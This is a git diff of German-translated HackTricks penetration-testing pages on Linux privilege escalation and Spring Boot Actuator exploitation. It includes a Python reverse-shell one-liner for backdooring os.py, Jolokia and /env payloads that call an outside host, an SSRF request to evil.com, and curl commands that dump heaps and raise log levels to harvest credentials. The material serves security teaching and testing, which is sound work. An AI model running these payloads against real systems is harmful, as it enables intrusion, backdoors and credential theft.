**/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich kannst du den letzten nicht lesen, aber versuche es.) +Die folgenden Verzeichnisse können Sicherungen oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich können Sie das Letzte nicht lesen, aber versuchen Sie es.) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1293,12 +1311,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries in PATH** +### **Skripte/Binärdateien im PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Web-Dateien** +### **Webdateien** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1309,22 +1327,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Bekannte Dateien, die Passwörter enthalten +### Bekannte Dateien mit Passwörtern -Sieh dir den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) an, er durchsucht **mehrere mögliche Dateien, die Passwörter enthalten könnten**.\ -**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) welche eine Open-Source-Anwendung ist, die dazu verwendet wird, viele Passwörter abzurufen, die auf einem lokalen Computer für Windows, Linux & Mac gespeichert sind. +Sieh dir den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) an; er durchsucht **mehrere mögliche Dateien, die Passwörter enthalten könnten**.\ +**Ein weiteres interessantes Tool**, das du dafür verwenden kannst, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) welche eine Open-Source-Anwendung ist, die zahlreiche auf einem lokalen Computer gespeicherte Passwörter für Windows, Linux & Mac ausliest. ### Logs -Wenn du Logs lesen kannst, kannst du möglicherweise **interessante/vertrauliche Informationen darin** finden. Je seltsamer das Log ist, desto interessanter wird es (wahrscheinlich).\ -Außerdem können einige "**bad**" konfigurierte (backdoored?) **audit logs** es ermöglichen, **Passwörter in audit logs zu protokollieren**, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Wenn du Logs lesen kannst, kannst du möglicherweise **interessante/vertrauliche Informationen darin finden**. Je merkwürdiger der Log ist, desto interessanter ist er (wahrscheinlich).\ +Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **audit logs** es dir erlauben, **Passwörter in audit logs zu protokollieren**, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Um **Logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index.html#adm-group) sehr hilfreich. -### Shell-Dateien +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1337,41 +1355,41 @@ Um **Logs zu lesen**, ist die Gruppe [**adm**](interesting-groups-linux-pe/index ``` ### Generic Creds Search/Regex -Du solltest außerdem nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und auch Logs auf IPs und E‑Mails sowie Hash‑Regexps prüfen.\ -Ich werde hier nicht aufzählen, wie man all das macht, aber wenn du interessiert bist, kannst du dir die letzten Checks ansehen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) durchführt. +Du solltest auch nach Dateien suchen, die das Wort "**password**" im **Namen** oder im **Inhalt** enthalten, und außerdem nach IPs und E-Mails in Logs oder nach Hashes/Regexps schauen.\ +Ich werde hier nicht aufzählen, wie man all das macht, aber wenn du interessiert bist, kannst du die letzten Checks, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) ausführt, ansehen. -## Beschreibbare Dateien +## Schreibbare Dateien ### Python library hijacking -Wenn du weißt, von **wo** ein python-Skript ausgeführt wird und du **in diesen Ordner schreiben kannst** oder python‑Bibliotheken **ändern kannst**, kannst du die OS‑Bibliothek modifizieren und backdoor it (wenn du dorthin schreiben kannst, wo das python‑Skript ausgeführt wird, kopiere die os.py‑Bibliothek und füge sie ein). +Wenn du weißt, von **wo** ein python-Skript ausgeführt wird und du in diesen Ordner **schreiben kannst** oder die **python libraries** verändern kannst, kannst du die OS library modifizieren und backdoor it (wenn du in das Verzeichnis schreiben kannst, in dem das python-Skript ausgeführt wird, kopiere und füge die os.py library ein). -Um die Bibliothek zu backdooren, füge einfach am Ende der os.py‑Bibliothek die folgende Zeile hinzu (IP und PORT ändern): +Um **backdoor the library** durchzuführen, füge einfach am Ende der os.py library die folgende Zeile hinzu (IP und PORT ändern): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Eine Schwachstelle in `logrotate` erlaubt es Benutzern mit **Schreibrechten** auf eine Log-Datei oder deren übergeordnete Verzeichnisse, unter Umständen Privilegien zu eskalieren. Das liegt daran, dass `logrotate`, das oft als **root** läuft, manipuliert werden kann, um beliebige Dateien auszuführen — besonders in Verzeichnissen wie _**/etc/bash_completion.d/**_. Wichtig ist, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, in dem Log-Rotation angewendet wird. +Eine Schwachstelle in `logrotate` ermöglicht es Benutzern mit **Schreibrechten** auf eine Logdatei oder deren übergeordnete Verzeichnisse, potenziell Privilegien zu eskalieren. Das liegt daran, dass `logrotate`, das oft als **root** läuft, so manipuliert werden kann, dass beliebige Dateien ausgeführt werden — insbesondere in Verzeichnissen wie _**/etc/bash_completion.d/**_. Es ist wichtig, die Berechtigungen nicht nur in _/var/log_ zu prüfen, sondern auch in jedem Verzeichnis, auf das Logrotation angewendet wird. > [!TIP] > Diese Schwachstelle betrifft `logrotate` Version `3.18.0` und älter -Mehr Details zur Schwachstelle finden sich auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Mehr Informationen zur Schwachstelle finden sich auf dieser Seite: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Du kannst diese Schwachstelle mit [**logrotten**](https://github.com/whotwagner/logrotten) ausnutzen. +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -Diese Schwachstelle ist der von [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** sehr ähnlich. Wann immer du Logs verändern kannst, prüfe, wer diese Logs verwaltet und ob du durch Ersetzen der Logs durch Symlinks Privilegien eskalieren kannst. +Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** daher sollte immer, wenn Sie Logdateien verändern können, geprüft werden, wer diese Logs verwaltet und ob Sie Privilegien eskalieren können, indem Sie die Logs durch Symlinks ersetzen. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referenz zur Schwachstelle:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-`-Skript nach _/etc/sysconfig/network-scripts_ zu **schreiben** oder ein vorhandenes anzupassen, dann ist dein **system is pwned**. +Wenn ein Benutzer aus irgendeinem Grund ein `ifcf-`-Script nach _/etc/sysconfig/network-scripts_ **schreiben** kann **oder** ein vorhandenes **anpassen** kann, dann ist Ihr **System ist pwned**. -Network-Skripte, z. B. _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch unter Linux vom Network Manager (dispatcher.d) per 'source' eingebunden. +Network scripts, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch auf Linux vom Network Manager (dispatcher.d) ~sourced~. -In meinem Fall wird das `NAME=`-Attribut in diesen Network-Skripten nicht korrekt behandelt. Wenn du **ein Leerzeichen im Namen hast, versucht das System den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. +In meinem Fall wird das Attribut `NAME=` in diesen Network-Skripten nicht korrekt behandelt. Wenn Sie ein Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1383,11 +1401,11 @@ DEVICE=eth0 ### **init, init.d, systemd, und rc.d** -Das Verzeichnis `/etc/init.d` beherbergt **Skripte** für System V init (SysVinit), das **klassische Linux-Dienstverwaltungssystem**. Es enthält Skripte zum `start`en, `stop`pen, `restart`en und manchmal `reload`en von Services. Diese können direkt ausgeführt werden oder über symbolische Links in `/etc/rc?.d/`. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`. +Das Verzeichnis `/etc/init.d` ist die Heimat für **Skripte** für System V init (SysVinit), das **klassische Linux-Service-Management-System**. Es enthält Skripte zum `start`, `stop`, `restart` und manchmal `reload` von Services. Diese können direkt ausgeführt werden oder über symbolische Links in `/etc/rc?.d/`. Ein alternativer Pfad bei Redhat-Systemen ist `/etc/rc.d/init.d`. -Auf der anderen Seite ist `/etc/init` mit **Upstart** verbunden, einem neueren Dienstverwaltungssystem, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin neben Upstart-Konfigurationen verwendet, da Upstart eine Kompatibilitätsschicht bietet. +Auf der anderen Seite ist `/etc/init` mit **Upstart** verbunden, einem neueren **Service-Management**, das von Ubuntu eingeführt wurde und Konfigurationsdateien für Service-Verwaltungsaufgaben verwendet. Trotz der Umstellung auf Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen eingesetzt, da Upstart eine Kompatibilitätsschicht bietet. -**systemd** hat sich als moderner Initialisierer und Service-Manager etabliert und bietet fortgeschrittene Funktionen wie bedarfsorientiertes Starten von Daemons, Automount-Verwaltung und Snapshots des Systemzustands. Es organisiert Dateien in `/usr/lib/systemd/` für Distributionspakete und `/etc/systemd/system/` für Administratoranpassungen und vereinfacht so die Systemadministration. +**systemd** hat sich als moderner Init- und Service-Manager etabliert und bietet erweiterte Funktionen wie bedarfsgesteuertes Starten von Daemons, Automount-Verwaltung und Snapshots des Systemzustands. Es organisiert Dateien in `/usr/lib/systemd/` für Distributionspakete und `/etc/systemd/system/` für Administratoränderungen und vereinfacht so die Systemadministration. ## Weitere Tricks @@ -1414,7 +1432,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität an einen Userspace-Manager preiszugeben. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App ermöglichen, den Manager zu imitieren und auf bereits-rooted Geräten auf root zu eskalieren. Mehr dazu und Exploit-Details hier: +Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität für einen userspace manager verfügbar zu machen. Schwache Manager-Authentifizierung (z. B. Signature-Checks basierend auf FD-order oder schlechte Passwortschemata) kann einer lokalen App ermöglichen, sich als Manager auszugeben und auf bereits gerooteten Geräten zu root zu eskalieren. Mehr Informationen und Exploit-Details hier: {{#ref}} @@ -1426,24 +1444,24 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Mehr Hilfe +## Weitere Hilfe [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Bestes Tool, um nach lokalen Linux privilege escalation Vektoren zu suchen:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Bestes Tool, um lokale Linux privilege escalation Vektoren zu finden:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Kernel-Schwachstellen in Linux und macOS auflisten [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Zusammenstellung weiterer Skripte**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referenzen @@ -1464,6 +1482,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 2bceb4880..6c1e2e08b 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -8,28 +8,28 @@ **Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Ausnutzen von Spring Boot Actuators +## Exploiting Spring Boot Actuators -**Überprüfen Sie den Originalbeitrag von** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Siehe den Originalbeitrag:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Wichtige Punkte:** +### **Kernaussagen:** -- Spring Boot Actuators registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind nur `/health` und `/info` standardmäßig nicht sensibel, aber Entwickler deaktivieren oft diese Sicherheit. -- Bestimmte Actuator-Endpunkte können sensible Daten offenlegen oder schädliche Aktionen ermöglichen: +- Spring Boot Actuators registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur `/health` und `/info` nicht-sensitiv, aber Entwickler deaktivieren diese Absicherung oft. +- Bestimmte Actuator-Endpunkte können sensitive Daten offenlegen oder schädliche Aktionen erlauben: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` und `/heapdump`. - In Spring Boot 1.x werden Actuators unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen. -### **Ausbeutungstechniken:** +### **Exploitation-Techniken:** -1. **Remote Code Execution über '/jolokia'**: -- Der `/jolokia` Actuator-Endpunkt exponiert die Jolokia-Bibliothek, die HTTP-Zugriff auf MBeans ermöglicht. -- Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL neu zu laden, was zu blindem XXE oder Remote Code Execution über gestaltete XML-Konfigurationen führen kann. -- Beispiel für eine Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Konfigurationsänderung über '/env'**: +1. **Remote Code Execution via '/jolokia'**: +- Der `/jolokia` Actuator-Endpunkt macht die Jolokia Library zugänglich, die HTTP-Zugriff auf MBeans ermöglicht. +- Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL nachzuladen, was zu blind XXE oder Remote Code Execution über manipulierte XML-Konfigurationen führen kann. +- Beispiel-Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: -- Wenn Spring Cloud-Bibliotheken vorhanden sind, ermöglicht der `/env` Endpunkt die Änderung von Umgebungsvariablen. -- Eigenschaften können manipuliert werden, um Schwachstellen auszunutzen, wie die XStream-Deserialisierungsanfälligkeit im Eureka serviceURL. -- Beispiel für eine Exploit-POST-Anfrage: +- Wenn Spring Cloud Libraries vorhanden sind, erlaubt der `/env` Endpunkt die Modifikation von Umgebungs-Properties. +- Properties können manipuliert werden, um Schwachstellen auszunutzen, wie z. B. die XStream-Deserialisierungs-Schwachstelle in der Eureka serviceURL. +- Beispiel POST-Request: ``` POST /env HTTP/1.1 @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Weitere nützliche Einstellungen**: -- Eigenschaften wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, wie SQL-Injection oder Ändern von Datenbankverbindungszeichenfolgen. +3. **Andere nützliche Einstellungen**: +- Properties wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, z. B. für SQL injection oder zum Ändern von Datenbank-Verbindungsstrings. ### **Zusätzliche Informationen:** -- Eine umfassende Liste der Standard-Actuators finden Sie [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Der `/env` Endpunkt in Spring Boot 2.x verwendet das JSON-Format zur Modifikation von Eigenschaften, aber das allgemeine Konzept bleibt dasselbe. +- Eine umfassende Liste der Default-Actuators findet sich [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Der `/env` Endpunkt in Spring Boot 2.x verwendet JSON-Format für Property-Modifikationen, aber das grundlegende Konzept bleibt gleich. ### **Verwandte Themen:** 1. **Env + H2 RCE**: -- Details zur Ausnutzung der Kombination von `/env` Endpunkt und H2-Datenbank finden Sie [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Details zur Ausnutzung der Kombination des `/env` Endpunkts und der H2-Datenbank finden sich [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF auf Spring Boot durch falsche Pfadinterpretation**: -- Die Handhabung von Matrixparametern (`;`) in HTTP-Pfaden durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden. -- Beispiel für eine Exploit-Anfrage: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Die Handhabung von Matrix-Parametern (`;`) in HTTP-Pathnames durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden. +- Beispiel-Exploit-Request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +Wenn `/actuator/heapdump` exponiert ist, können Sie normalerweise einen vollständigen JVM-Heap-Snapshot herunterladen, der häufig live secrets enthält (DB creds, API keys, Basic-Auth, interne Service-URLs, Spring property maps, usw.). + +- Herunterladen und schnelle Triage: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Tiefere Analyse mit VisualVM und OQL: +- Öffnen Sie den heapdump in VisualVM, inspizieren Sie Instanzen von `java.lang.String` oder führen Sie OQL aus, um nach secrets zu suchen: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Automatisierte Extraktion mit JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Typische hochgradig verwertbare Funde: +- Spring `DataSourceProperties` / `HikariDataSource` Objekte, die `url`, `username`, `password` offenbaren. +- `OriginTrackedMapPropertySource`-Einträge, die `management.endpoints.web.exposure.include`, Service-Ports und eingebettete Basic-Auth in URLs (z. B. Eureka `defaultZone`) preisgeben. +- Plain-HTTP Request/Response-Fragmente inklusive `Authorization: Basic ...`, die im Speicher erfasst wurden. + +Tipps: +- Verwenden Sie eine auf Spring fokussierte Wordlist, um Actuator-Endpunkte schnell zu entdecken (z. B. SecLists spring-boot.txt) und prüfen Sie immer, ob `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` und `/actuator/configprops` ebenfalls exponiert sind. +- Credentials aus heapdump funktionieren oft für angrenzende Services und manchmal für Systembenutzer (SSH), daher breit testen. + + +## Abusing Actuator loggers/logging to capture credentials + +Wenn `management.endpoints.web.exposure.include` es erlaubt und `/actuator/loggers` exponiert ist, können Sie dynamisch die Log-Level auf DEBUG/TRACE für Packages erhöhen, die Authentifizierung und Request-Processing behandeln. In Kombination mit lesbaren Logs (über `/actuator/logfile` oder bekannte Log-Pfade) kann dies credentials offenlegen, die während Login-Flows übermittelt werden (z. B. Basic-Auth-Header oder Formularparameter). + +- Auflisten und hochsetzen sensibler Logger: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Finden, wo Logs geschrieben werden, und ernten: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Triggern Sie Login-/Authentifizierungs-Traffic und parsen Sie das Log nach creds. In Microservice-Setups mit einem Gateway vor Auth kann das Aktivieren von TRACE für Gateway-/Security-Packages oft Header und Form-Bodies sichtbar machen. Manche Umgebungen erzeugen sogar periodisch synthetischen Login-Traffic, wodurch das Harvesting trivial wird, sobald das Logging verbose ist. + +Hinweise: +- Setzen Sie Log-Level zurück, wenn Sie fertig sind: `POST /actuator/loggers/` mit `{ "configuredLevel": null }`. +- Wenn `/actuator/httpexchanges` exponiert ist, kann es ebenfalls kürzliche Request-Metadaten anzeigen, die sensitive Header enthalten können. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}